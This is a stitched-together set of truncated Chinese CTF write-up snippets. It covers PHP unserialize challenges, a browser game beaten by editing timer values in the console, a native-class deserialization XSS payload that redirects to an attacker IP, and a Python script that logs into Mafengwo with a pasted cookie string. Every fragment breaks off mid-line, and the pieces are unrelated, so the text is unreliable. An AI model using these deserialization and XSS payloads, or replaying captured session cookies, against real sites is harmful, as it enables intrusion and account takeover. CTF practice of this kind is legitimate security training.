if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } } 这是主要代码，要利用反序列化，然后在看看is_valid($str)这个的代码 function is_valid($s) { for($i = 0; $i < strlen($s); $i++
[VNCTF 2021]Ez_game 打开为通过游戏 手打通关是不可能的 法一：在控制台输入winTimer.Set(); 法二： https://www.sojson.com/jsobfuscator.html 输入winTimer[“endTime”]=99 得到加密，并复制到控制台，回车即可 不可以看全flag,那么就Ctrl和-来放小一点即可 [GKCTF2020]
[BJDCTF 2nd]xss之光 御剑 看了一下url，输入啥都不对。掏出御剑直接扫，扫出一个.git GitHack安排 得到： <?php $a = $_GET['yds_is_so_beautiful']; echo unserialize($a); 原生类反序列化 参考 构造payload： <?php $a = serialize(new Exception("<script>window.location.href='IP&#
目录 基础知识 __call SoapClient __toString Error Exception 实例化任意类 正文 文章围绕着一个问题，如果在代码审计中有反序列化点，但是在原本的代码中找不到pop链该如何?N1CTF有一个无pop链的反序列化的题目，其中就是找到php内置类来进行反序列化。 回到顶部 基础知
# 使用自造的cookies登录马蜂窝 import requests from lxml import etree str = 'mfw_uuid=5bcfcc20-b235-fbbe-c1d6-ae01e1f68d82; _r=baidu; _rp=a%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A19%3A%22www.baidu.com%2Fbaidu%22%3Bs%3A1%3A%22t%22%3Bi%3A1540344864%3B%7D; __mfwlv=154453
